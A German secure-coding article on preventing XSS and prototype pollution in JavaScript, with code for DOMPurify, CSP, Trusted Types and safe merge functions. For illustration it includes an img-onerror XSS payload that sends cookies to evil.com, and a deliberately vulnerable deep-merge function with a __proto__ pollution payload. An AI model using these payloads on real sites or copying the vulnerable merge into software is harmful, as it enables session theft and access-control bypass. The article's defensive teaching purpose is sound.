JavaScript-Sicherheitslücken schließen
Cross-Site Scripting und Prototype Pollution gehören zu den häufigsten und gefährlichsten JavaScript-Sicherheitslücken. XSS entsteht oft durch eine einzige unsichere innerHTML-Zuweisung. Prototype Pollution korrumpiert Object.prototype und macht jede Instanz im gesamten Programm angreifbar. Dieser Artikel erklärt beide Angriffsvektoren und zeigt konkrete Abwehrmaßnahmen.
Inhaltsverzeichnis
- 1. XSS – Angriff durch Skript-Injektion verstehen
- 2. Die häufigsten XSS-Vektoren im Frontend-Code
- 3. XSS abwehren: DOMPurify, textContent und Trusted Types
- 4. Content Security Policy: die letzte Verteidigungslinie
- 5. Prototype Pollution – Angriff auf Object.prototype
- 6. Wie Prototype Pollution in echten Apps entsteht
- 7. Prototype Pollution verhindern: Object.freeze und sichere Merges
- 8. XSS vs. Prototype Pollution – Vergleich und Kombinationsangriffe
- 9. Sicherheits-Audit: Tools und Checkliste
- 10. Zusammenfassung
- 11. FAQ
1. XSS – Angriff durch Skript-Injektion verstehen
Cross-Site Scripting (XSS) ist ein Angriff, bei dem ein Angreifer JavaScript-Code in eine Webseite injiziert, der dann im Browser des Opfers ausgeführt wird. Das Besondere: Der Browser des Opfers führt den Code im Kontext der legitimen Seite aus – mit vollem Zugriff auf Cookies, localStorage, DOM und alle APIs, die die Seite nutzt. Session-Tokens können gestohlen, Formulare manipuliert, und im Falle von Browser-Extensions sogar privilegierte APIs missbraucht werden. XSS ist in der OWASP Top 10 seit Jahren unter den gefährlichsten Webanwendungs-Schwachstellen.
Es gibt drei Varianten von XSS: Reflected XSS (Payload kommt aus der URL oder Anfrage und wird ungefiltert in die Antwort eingebaut), Stored XSS (Payload wird in der Datenbank gespeichert und bei jedem Seitenaufruf ausgegeben) und DOM-based XSS (Payload wird durch unsicheres JavaScript direkt im Client-Code in den DOM geschrieben). DOM-based XSS ist die häufigste Variante in modernen Single-Page-Applications und tritt auf, wenn JavaScript-Code unsichere Quellen wie location.hash, location.search oder document.referrer in den DOM schreibt, ohne Sanitisierung.
2. Die häufigsten XSS-Vektoren im Frontend-Code
Der häufigste XSS-Vektor in JavaScript-Frontends ist die direkte Zuweisung von nicht-sanitisierten Strings an innerHTML. Wenn ein API-Response, ein URL-Parameter oder ein Nutzer-Input ungefiltert in element.innerHTML = userInput fließt, kann ein Angreifer beliebige HTML-Strukturen inklusive <script>-Tags, Event-Handler-Attribute (onerror, onload) und Data-URI-Attribute injizieren. Besonders tückisch: <script>-Tags, die über innerHTML eingefügt werden, werden von modernen Browsern nicht ausgeführt – aber <img src=x onerror="maliciousCode()"> oder <svg onload="..."> sehr wohl.
Weitere gefährliche JavaScript-APIs für XSS: document.write(), eval(), setTimeout(string) und setInterval(string) (String-Argumente werden als JavaScript ausgeführt), new Function(string) und die jQuery-Methode $(string) bei unkontrollierten Inputs. In React ist direktes XSS durch JSX schwerer, weil React alle JSX-Ausdrücke automatisch escaped – aber dangerouslySetInnerHTML hebt diesen Schutz explizit auf und sollte mit denselben Vorsichtsmaßnahmen wie innerHTML behandelt werden.
// DANGEROUS: direct innerHTML assignment from untrusted source
const userComment = '<img src=x onerror="document.location=\'https://evil.com/?c=\'+document.cookie">';
// XSS: browser executes the onerror handler when img fails to load
document.getElementById('comments').innerHTML = userComment;
// SAFE option 1: use textContent for plain text — never interpreted as HTML
document.getElementById('output').textContent = userComment;
// SAFE option 2: sanitize with DOMPurify before inserting HTML
// import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userComment, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'title'],
});
document.getElementById('comments').innerHTML = clean;
// DANGEROUS: eval and string-based timers
eval(userInput); // executes any string as JS
setTimeout(userInput, 100); // same danger
// SAFE: always use function references, not strings
setTimeout(() => handleTimeout(), 100);
3. XSS abwehren: DOMPurify, textContent und Trusted Types
Die wichtigste Maßnahme gegen XSS ist die konsequente Verwendung sicherer DOM-APIs. textContent statt innerHTML ist die erste Wahl für das Einfügen von Text: Der Browser interpretiert den Inhalt niemals als HTML, sondern zeigt ihn immer als reinen Text an. Wenn HTML tatsächlich benötigt wird, ist DOMPurify die empfohlene Bibliothek: Es parst den HTML-String in einem isolierten Kontext, entfernt alle gefährlichen Tags und Attribute, und gibt einen bereinigten HTML-String zurück. DOMPurify ist battle-tested, aktiv gewartet und unterstützt konfigurierbare Allowlists für Tags und Attribute.
Trusted Types sind eine neuere Browser-API, die XSS auf API-Ebene verhindert: Sie erzwingen, dass gefährliche Sinks wie innerHTML nur TrustedHTML-Objekte akzeptieren, keine rohen Strings. In Verbindung mit einer CSP-Direktive (require-trusted-types-for 'script') wird jede Zuweisung eines rohen Strings an einen gefährlichen Sink zu einem Laufzeitfehler – effektiv verbietet man unsichere DOM-Operationen auf Browser-Ebene. Trusted Types werden aktuell von Chrome und Edge unterstützt, aber noch nicht von Firefox und Safari.
4. Content Security Policy: die letzte Verteidigungslinie
Eine Content Security Policy (CSP) ist ein HTTP-Header, der dem Browser vorschreibt, welche Ressourcen geladen und welche JavaScript-Operationen ausgeführt werden dürfen. Eine gut konfigurierte CSP ist die wirkungsvollste Maßnahme gegen XSS in der Tiefe: Selbst wenn ein Angreifer ein Skript injiziert, verhindert die Policy dessen Ausführung. Die wichtigste Direktive: script-src 'self' erlaubt nur Skripte vom eigenen Origin. default-src 'none' verbietet alles, was nicht explizit erlaubt ist. object-src 'none' verhindert Flash und andere Plugins.
Die häufigste CSP-Falle: 'unsafe-inline' in script-src. Das erlaubt inline <script>-Blöcke und Event-Handler-Attribute und macht die Policy für XSS-Angriffe weitgehend unwirksam. Die Alternative sind Nonces: Jede Seitenantwort enthält einen kryptographisch zufälligen Nonce-Wert, der sowohl im CSP-Header (script-src 'nonce-abc123') als auch als Attribut auf legitimen <script>-Tags steht. Injizierte Skripte kennen den Nonce nicht und werden blockiert. Hyvä CSP in Magento nutzt genau dieses Muster.
// Content Security Policy implementation examples
// HTTP Header (ideal — server-side):
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}';
// style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none';
// base-uri 'self'; form-action 'self'; frame-ancestors 'none';
// Meta tag fallback (less powerful — no frame-ancestors, no form-action):
// <meta http-equiv="Content-Security-Policy" content="default-src 'self'">
// Trusted Types policy (Chrome/Edge — prevents XSS at API level)
if (window.trustedTypes && window.trustedTypes.createPolicy) {
const sanitizer = window.trustedTypes.createPolicy('dompurify', {
// Only allow HTML that passed DOMPurify sanitization
createHTML: (dirty) => DOMPurify.sanitize(dirty, {
RETURN_TRUSTED_TYPE: true,
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
}),
});
// Now innerHTML only accepts TrustedHTML — raw strings throw TypeError
element.innerHTML = sanitizer.createHTML(userInput);
}
// Nonce-based inline script (must match CSP nonce header)
// <script nonce="abc123xyz">
// // This script runs because nonce matches
// </script>
// Injected scripts without nonce are blocked by the browser
5. Prototype Pollution – Angriff auf Object.prototype
Prototype Pollution ist ein JavaScript-spezifischer Angriff, der die Prototype-Chain ausnutzt. In JavaScript erben alle Plain-Objects von Object.prototype. Wenn ein Angreifer eine Eigenschaft auf Object.prototype setzen kann – z.B. über einen unsicheren deep-merge-Algorithmus oder einen unsanitisierten JSON-Key wie __proto__ –, dann ist diese Eigenschaft sofort auf jedem Plain-Object im gesamten Programm verfügbar. Das hat fatale Konsequenzen: Sicherheitschecks werden umgangen, Anwendungslogik wird korrumpiert, und in Node.js können Prototype Pollution-Angriffe sogar zu Remote Code Execution führen.
Der klassische Prototype Pollution-Angriff sieht so aus: Ein Angreifer sendet einen JSON-Body mit dem Key {"__proto__": {"isAdmin": true}}. Ein unsicherer deep-merge-Algorithmus interpretiert __proto__ als Prototype-Referenz und setzt Object.prototype.isAdmin = true. Ab diesem Moment gibt jeder Code im Programm, der user.isAdmin prüft, true zurück – auch für Objekte, die explizit kein isAdmin-Property haben. Die Sicherheitsprüfung ist kompromittiert, ohne dass eine einzige Zeile Anwendungscode verändert wurde.
6. Wie Prototype Pollution in echten Apps entsteht
Die häufigsten Entstehungsorte von Prototype Pollution: Unsichere deep-merge-Funktionen in eigenen Utility-Bibliotheken, die rekursiv target[key] = source[key] aufrufen, ohne __proto__, constructor und prototype als Keys zu blockieren. Bekannte npm-Pakete wie ältere Versionen von lodash.merge, jquery.extend und hoek hatten dokumentierte Prototype Pollution-Schwachstellen. Die npm-Advisories für diese Pakete enthalten Tausende von Projekten als betroffene Downstream-Abhängigkeiten.
Ein weiterer Vektor: URL-Parsing und Query-String-Parsing-Bibliotheken, die Arrays und verschachtelte Objekte via a[__proto__][isAdmin]=true in der URL zulassen. Das qs-Paket hatte mehrere Versionen mit dieser Schwachstelle. Auch YAML-Parser und CSV-Importer, die flexible Schlüsselstrukturen erlauben, können zum Prototype Pollution-Vektor werden. Node.js-Server sind besonders gefährdet, weil ein kompromittiertes Object.prototype alle Request-Handler betrifft, nicht nur den aktuellen Request.
// Prototype Pollution demonstration and prevention
// VULNERABLE deep merge — do not use this pattern
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]); // allows __proto__ pollution
} else {
target[key] = source[key]; // sets Object.prototype properties!
}
}
}
// Attack: injecting via __proto__ key
const maliciousInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
vulnerableMerge({}, maliciousInput);
console.log({}.isAdmin); // true — Object.prototype is polluted!
// SAFE deep merge — block dangerous keys
function safeMerge(target, source) {
const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
for (const key of Object.keys(source)) {
if (BLOCKED_KEYS.has(key)) continue; // Block prototype pollution vector
if (
typeof source[key] === 'object' &&
source[key] !== null &&
!Array.isArray(source[key])
) {
target[key] = safeMerge(target[key] ?? Object.create(null), source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Create objects without prototype for config parsing (no __proto__ risk)
const config = Object.create(null);
7. Prototype Pollution verhindern: Object.freeze und sichere Merges
Die stärkste Maßnahme gegen Prototype Pollution ist das Einfrieren von Object.prototype mit Object.freeze(Object.prototype) am Programmstart. Nach dem Einfrieren können keine neuen Eigenschaften zu Object.prototype hinzugefügt werden – jeder Versuch wirft einen TypeError im Strict Mode oder wird im Non-Strict-Mode stillschweigend ignoriert. Das ist eine global wirkende Schutzmaßnahme, die keine Änderungen am restlichen Code erfordert. In Node.js-Servern sollte dieser Aufruf in der Initialisierungsphase stehen, bevor externe Daten verarbeitet werden.
Für sichere Objekt-Merges empfiehlt sich die Verwendung von structuredClone() (ab Node 17 und allen modernen Browsern) statt manueller deep-merge-Algorithmen: structuredClone kopiert alle Daten-Typen korrekt, inklusive nested Objects, ohne Prototype-Chain-Manipulation zu erlauben. Alternativ: Object.assign({}, ...sources) für flache Merges oder JSON.parse(JSON.stringify(obj)) für einfache deep-copies ohne Methods. Für komplexe Merge-Anforderungen: Lodash 4.17.21 oder höher mit gepatchter merge-Funktion, oder das Paket deepmerge mit expliziten Key-Guards.
8. XSS vs. Prototype Pollution – Vergleich und Kombinationsangriffe
XSS und Prototype Pollution sind orthogonale Angriffsvektoren: XSS injiziert Code-Ausführung im Client-Browser durch unsichere DOM-Manipulationen. Prototype Pollution korrumpiert den JavaScript-Laufzeit-Zustand durch Manipulation der Prototype-Chain. Beide können jedoch kombiniert werden: Eine Prototype Pollution-Schwachstelle in einem Frontend-Framework kann dazu führen, dass ein nachgelagert gerendertes Template eine XSS-Payload ausführt, obwohl der Template-Code selbst korrekt sanitisiert.
Konkret: Wenn Object.prototype.toString durch Prototype Pollution überschrieben wird und ein Template-System intern obj.toString() aufruft, um Werte zu serialisieren, kann eine XSS-Payload in dieser Methode landen. Client-Prototype-Pollution kann auch CSP-Bypässe ermöglichen, wenn Framework-Internals die pollutierten Properties für dynamisches Script-Laden nutzen. Diese Kombinations-Angriffe sind selten, aber dokumentiert und zeigen, warum beide Schwachstellen-Klassen gleichzeitig bekämpft werden müssen.
| Angriff | Hauptvektor | Wirkung | Hauptabwehr |
|---|---|---|---|
| XSS (DOM-based) | innerHTML, eval | Code-Ausführung im Browserkontext | textContent, DOMPurify, CSP |
| XSS (Reflected) | URL-Parameter in HTML | Session-Diebstahl, Formular-Manipulation | Server-seitiges Escaping, CSP |
| Prototype Pollution | __proto__ in JSON/Merge | Globale Laufzeit-Korrumpierung | Object.freeze, sichere Merges |
| Kombinationsangriff | Pollution → XSS-Payload | CSP-Bypass, Framework-Exploit | Beide Abwehren + Security Audit |
9. Sicherheits-Audit: Tools und Checkliste
Ein systematischer Sicherheits-Audit für XSS und Prototype Pollution beginnt mit statischer Analyse. ESLint-Plugins wie eslint-plugin-security und eslint-plugin-no-unsanitized markieren gefährliche DOM-APIs direkt im Code. Für Prototype Pollution: npm audit listet bekannte Schwachstellen in Dependencies, darunter viele historische Pollution-Bugs. Das Tool snyk geht tiefer und analysiert auch transitive Abhängigkeiten. Für dynamische Tests ist Burp Suite das Standard-Tool: Es fügt XSS-Payloads automatisch in alle Input-Felder, URL-Parameter und Header ein.
Für Prototype Pollution-spezifische Tests: Das npm-Paket pp-finder automatisiert die Suche nach Pollution-Vektoren in der eigenen Codebasis. Eine manuelle Checkliste: Jeden deep-merge-Aufruf auf __proto__-Blocking prüfen. Jeden JSON-Parse-Pfad auf Key-Validation prüfen. Query-String-Parsing mit verschachtelten Objekten auf Pollution testen. In Node.js-Environments: Nach dem Startup Object.prototype.__proto__ auf unerwartete Properties prüfen. Regelmäßige npm audit-Aufrufe in der CI-Pipeline sind Pflicht für jede produktionsreife JavaScript-Anwendung.
// Security hardening: freeze prototype + safe object patterns
// 1. Freeze Object.prototype at application startup
Object.freeze(Object.prototype);
// Now: ({}).polluted = 'yes' via __proto__ throws TypeError in strict mode
// 2. Use Object.create(null) for data containers — no prototype chain
function parseUserConfig(rawInput) {
const config = Object.create(null); // no __proto__, no toString, no hasOwnProperty
const safeKeys = ['theme', 'language', 'timezone'];
const parsed = JSON.parse(rawInput);
for (const key of safeKeys) {
if (Object.prototype.hasOwnProperty.call(parsed, key)) {
config[key] = String(parsed[key]).slice(0, 100); // type + length guard
}
}
return config;
}
// 3. Safe hasOwnProperty check — never call directly on object
// WRONG: obj.hasOwnProperty(key) — attackable via pollution
// RIGHT: always call via Object.prototype
function hasOwn(obj, key) {
return Object.prototype.hasOwnProperty.call(obj, key);
}
// 4. structuredClone for deep copy — pollution-safe
const deepCopy = structuredClone(sourceObject);
10. Zusammenfassung
XSS und Prototype Pollution sind zwei der wirkungsvollsten Angriffsvektoren in JavaScript-Anwendungen. XSS entsteht durch unsichere DOM-Manipulationen mit innerHTML, eval oder String-basierten Timern und wird durch textContent, DOMPurify und eine strikte CSP abgewehrt. Prototype Pollution entsteht durch unsichere deep-merge-Algorithmen und unkontrollierte JSON-Keys und wird durch Key-Blocking in Merges, Object.freeze(Object.prototype) und Object.create(null) für Daten-Container abgewehrt.
Die wichtigsten praktischen Maßnahmen zusammengefasst: textContent statt innerHTML als Default. DOMPurify für unvermeidliche HTML-Einfügungen. CSP mit Nonces ohne 'unsafe-inline'. __proto__, constructor und prototype als Keys in Merge-Funktionen blocken. Object.freeze(Object.prototype) am Programmstart. npm audit in jeder CI-Pipeline. Statische Analyse mit ESLint-Security-Plugins. Kein Angriff kann verhindert werden, wenn er unbekannt ist – regelmäßige Audits und aktuelle Dependencies sind die Grundlage jeder JavaScript-Sicherheitsstrategie.
Mironsoft
JavaScript Security, XSS-Audits und sichere Frontend-Architektur
Sicherheitslücken finden, bevor Angreifer es tun?
Wir führen JavaScript-Security-Audits durch, identifizieren XSS-Vektoren und Prototype Pollution-Risiken in eurer Codebasis und implementieren CSP, DOMPurify und sichere Object-Patterns für produktionsreife Sicherheit.
XSS-Audit
innerHTML-Vektoren, eval-Missbrauch und CSP-Lücken systematisch identifizieren
Pollution-Analyse
Unsichere Merge-Algorithmen und verwundbare Dependencies in der Codebasis finden
CSP-Implementierung
Nonce-basierte CSP ohne unsafe-inline für Magento Hyvä und React-Anwendungen
XSS und Prototype Pollution — Das Wichtigste auf einen Blick
XSS-Abwehr
textContent statt innerHTML. DOMPurify für HTML. CSP mit Nonces ohne unsafe-inline. eval, setTimeout(string) und new Function(string) grundsätzlich vermeiden.
Prototype Pollution
Object.freeze(Object.prototype) am Start. __proto__, constructor und prototype in Merge-Funktionen blocken. Object.create(null) für Daten-Container. structuredClone() für deep copies.
Dependency-Sicherheit
npm audit in jeder CI-Pipeline. Snyk für transitive Dependencies. Ältere lodash.merge, jquery.extend und qs-Versionen sind häufige Pollution-Quellen.
Statische Analyse
eslint-plugin-security und eslint-plugin-no-unsanitized markieren gefährliche APIs. pp-finder für Pollution-Vektoren. Beide Tools in Pre-commit-Hooks integrieren.